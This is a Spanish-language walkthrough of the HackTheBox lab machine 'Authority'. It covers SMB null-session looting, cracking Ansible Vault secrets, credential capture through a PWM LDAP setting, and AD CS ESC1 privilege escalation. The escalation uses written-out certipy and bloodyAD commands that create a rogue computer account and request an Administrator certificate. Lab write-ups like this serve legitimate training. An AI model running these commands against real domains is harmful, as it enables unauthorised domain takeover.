Skip to main content

Command Palette

Search for a command to run...

Authority - HackTheBox

Máquina Windows nivel Medium de la plataforma HackTheBox que forma parte del path CPTS.

Updated
8 min readView as Markdown
Authority - HackTheBox
E
Cybersecurity

Como de costumbre en todo proceso de pentesting comenzaremos realizando la fase de reconocimiento, que es de las más importantes de cara a las siguientes fases.


Enumeración

Reconocimiento de Puertos

Comenzaremos realizando la enumeración de puertos y servicios en el endpoint utilizando la herramienta nmap.

Disponemos de un gran listado de puertos, pero desconocemos que servicios se ejecutan en cada uno, por lo que lanzaremos un escaneo más avanzado que ejecuta los scripts por defecto de NSE (Nmap Scripting Engine).

Estos scripts harán comprobaciones automáticas como:

  • Detección de vulnerabilidades básicas

  • Enumeración de servicios

  • Información adicional (usuarios, versiones, configuraciones, etc.)

Y además ejecutaremos la detección de versiones de servicios para intentar identificar qué software y versión está corriendo en cada puerto abierto.


Estamos ante un Domain Controller, y entre los servicios destacamos.

  • Servidor Web IIS httpd 10.0

  • Servidor Web Apache Tomcat puerto 8443

  • Kerberos (puerto 88)

  • SMB

  • LDAP

  • WinRM

Además podemos ver el dominio:

  • authority.htb

Lo añadimos al archivo hosts.

echo "<ip> authority.htb" | sudo tee -a /etc/hosts

Con esta información ya podemos continuar con la enumeración.

Enumeración Web

Comenzamos enumerando el servidor web IIS del puerto 80.

Pero tras una serie de enumeraciones básicas podemos concluir que no hay nada de interés, por lo que pasamos al puerto 8443.

Al navegar al puerto 8443 usando HTTPS, se nos redirige a /pwm/private/login, lo que parece ser una instancia de una aplicación de autoservicio de contraseñas de código abierto que puede utilizarse con LDAP en entornos de Active Directory.

La aplicación se llama PWM. Al acceder al sitio web, aparece una ventana emergente que indica que la aplicación está en modo de configuración, por lo que parece que necesitamos acceder al Configuration Manager o a Configuration Editor, los cuales solo requieren una contraseña.


Por lo que sin una contraseña, no vamos a poder acceder al aplicativo.

Debemos buscar por otro lado.

Enumeración SMB

Como no disponemos de credenciales podemos intentar enumerar la existencia de recursos smb a través de una NULL Session con smbclient o utilizando netexec con el usuario guest.

Podemos ver que disponemos de acceso al recurdo Develoment sin contraseña, por lo que nos descargamos el recurso completo y lo que hay en su interior de forma recursiva.

smbclient //10.129.229.56/Development -N -c 'prompt OFF;recurse ON;lcd '/home/elc4br4/HTB/CPTS/Authority/';mget *'
➜  Authority tree Automation 
Automation
`-- Ansible
    |-- ADCS
    |   |-- LICENSE
    |   |-- README.md
    |   |-- SECURITY.md
    |   |-- defaults
    |   |   `-- main.yml
    |   |-- meta
    |   |   |-- main.yml
    |   |   `-- preferences.yml
    |   |-- molecule
    |   |   `-- default
    |   |       |-- converge.yml
    |   |       |-- molecule.yml
    |   |       `-- prepare.yml
    |   |-- requirements.txt
    |   |-- requirements.yml
    |   |-- tasks
    |   |   |-- assert.yml
    |   |   |-- generate_ca_certs.yml
    |   |   |-- init_ca.yml
    |   |   |-- main.yml
    |   |   `-- requests.yml
    |   |-- templates
    |   |   |-- extensions.cnf.j2
    |   |   `-- openssl.cnf.j2
    |   |-- tox.ini
    |   `-- vars
    |       `-- main.yml
    |-- LDAP
    |   |-- README.md
    |   |-- TODO.md
    |   |-- Vagrantfile
    |   |-- defaults
    |   |   `-- main.yml
    |   |-- files
    |   |   `-- pam_mkhomedir
    |   |-- handlers
    |   |   `-- main.yml
    |   |-- meta
    |   |   `-- main.yml
    |   |-- tasks
    |   |   `-- main.yml
    |   |-- templates
    |   |   |-- ldap_sudo_groups.j2
    |   |   |-- ldap_sudo_users.j2
    |   |   |-- sssd.conf.j2
    |   |   `-- sudo_group.j2
    |   `-- vars
    |       |-- debian.yml
    |       |-- main.yml
    |       |-- redhat.yml
    |       `-- ubuntu-14.04.yml
    |-- PWM
    |   |-- README.md
    |   |-- ansible.cfg
    |   |-- ansible_inventory
    |   |-- defaults
    |   |   `-- main.yml
    |   |-- handlers
    |   |   `-- main.yml
    |   |-- meta
    |   |   `-- main.yml
    |   |-- tasks
    |   |   `-- main.yml
    |   `-- templates
    |       |-- context.xml.j2
    |       `-- tomcat-users.xml.j2
    `-- SHARE
        `-- tasks
            `-- main.yml

26 directories, 46 files

Enumeramos principalmente dentro del directorio PWM donde encontramos varios archivos de interés.

  • Archivo ansible.conf donde descubrimos el usuario svc_pwm.
  • Archivo ansible_inventory donde encontramos unas credenciales que aparentemente sirven para conectarse vía winrm por el puerto 5985.
  • Archivo main.yml donde descubrimos una serie de cadenas codificadas.

Si realizamos una simple búsqueda podremos averiguar que se trata de Ansible Vault.

Ansible Vault

Ansible Vault es una funcionalidad integrada en Ansible que cifra archivos, variables o cadenas de texto confidenciales (contraseñas, claves API, llaves SSH) dentro de los playbooks. Permite proteger información sensible, asegurando que pueda guardarse en repositorios de control de versiones sin exponer datos críticos.

Debemos almacenar cada cadena codificada en un archivo diferente, posteriormente lo convertiremos a un hash que pueda ser craqueado por hashcat.

Después utilizaremos ansible2john para convertir los archivos encriptados con Ansible Vault en un formato que John the Ripper o Hashcat puede entender y craquear.

Debemos eliminar el comienzo de la cadena para que pueda ser craqueado por hashcat, quedando los hashes de la siguiente forma.

\(ansible\)0*0*2fe48d56e7e16f71c18abd22085f39f4fb11a2b9a456cf4b72ec825fc5b9809d*e041732f9243ba0484f582d9cb20e148*4d1741fd34446a95e647c3fb4a4f9e4400eae9dd25d734abba49403c42bc2cd8

\(ansible\)0*0*15c849c20c74562a25c925c3e5a4abafd392c77635abc2ddc827ba0a1037e9d5*1dff07007e7a25e438e94de3f3e605e1*66cb125164f19fb8ed22809393b1767055a66deae678f4a8b1f8550905f70da5

\(ansible\)0*0*c08105402f5db77195a13c1087af3e6fb2bdae60473056b5a477731f51502f93*dfd9eec07341bac0e13c62fe1d0a5f7d*d04b50b49aa665c4db73ad5d8804b4b2511c3b15814ebcf2fe98334284203635

Después utilizaremos hashcat para craquear los hashes y obtener la contraseña que encripta cada cadena.

Obtenemos la contraseña de cifrado, por lo que el último paso será utilizara para descifrar las cadenas de texto codificadas.

Para ello utilizaremos la utilidad ansible-vault.

Obtendremos un nombre de usuario, y dos contraseñas.

Probaremos las credenciales en el servidor web que enumeramos anteriormente.


Acceso Inicial - LDAP

Accedemos al editor de configuración con las credenciales encontradas.

Tras iniciar sesión con las credenciales y navegando por el panel de configuración llegaremos al apartado de configuración LDAP donde podremos modificar el campo LDAP URLs y añadir nuestra dirección ip y puerto para intentar obtener una conexión.

Recibiremos en nuestro oyente de netcat la conexión donde además encontraremos unas credenciales.


Usuario svc_ldap - User Flag

Validaremos las credenciales para verificar si podemos conectarnos a la máquina a través de winrm.

Podemos utilizar las credenciales para conectarnos y leer la flag user.


Escalada de Privilegios - ESC1

Si volvemos al comienzo, dentro del recurso compartido había un directorio llamado ADCS, lo que nos da una pista para poder continuar.

Por lo que vamos a utilizar las credenciales del usuario svc_ldap para enumerar plantillas de certificados vulnerables con certipy.

certipy-ad find -vulnerable -dc-ip 10.129.229.56 -u svc_ldap -p 'PASSWORD'

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'AUTHORITY-CA'
[*] Checking web enrollment for CA 'AUTHORITY-CA' @ 'authority.authority.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260408191538_Certipy.txt'
[*] Wrote text output to '20260408191538_Certipy.txt'
[*] Saving JSON output to '20260408191538_Certipy.json'
[*] Wrote JSON output to '20260408191538_Certipy.json'

Si leemos la salida que nos genera certipy en el archivo json veremos que existe la vulnerabilidad ESC1.

"AUTHORITY.HTB\\Domain Computers"

En este caso, todos los equipos del dominio (Domain Computers) pueden inscribirse (enroll).

Por lo que si queremos abusar de ESC1, debemos crear un equipo y unirlo al dominio para que forme parte del grupo Domain Computers.

bloodyAD -u svc_ldap -p 'PASSWORD SVC_LDAP' -d authority.htb --host 10.129.229.56 add computer fakecomp 'P@ssw0rd1234!'
[+] fakecomp$ created

Revisamos desde la sesión Winrm los equipos pertenecientes al grupo Domain Computers.

Solicitamos el certificado .pfx del usuario Administrator utilizando las credenciales del equipo fake creado anteriormente.

certipy-ad req -u fakecomp$ -p 'P@ssw0rd1234!' -ca AUTHORITY-CA -target authority.htb -template CorpVPN -upn Administrator

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: authority.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 3
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Ahora que ya tenemos el certificado del usuario Administrador, podemos utilizarlo para autenticarnos.

Pero tras varios intentos me da diferentes errores, por lo que directamente utilizando el parámetro ldap-shell en certipy, spawneo una shell ldap.

Dentro puedo modificar la contraseña del usuario Administrator y conectarme a través de Winrm utilizando la misma.


17 views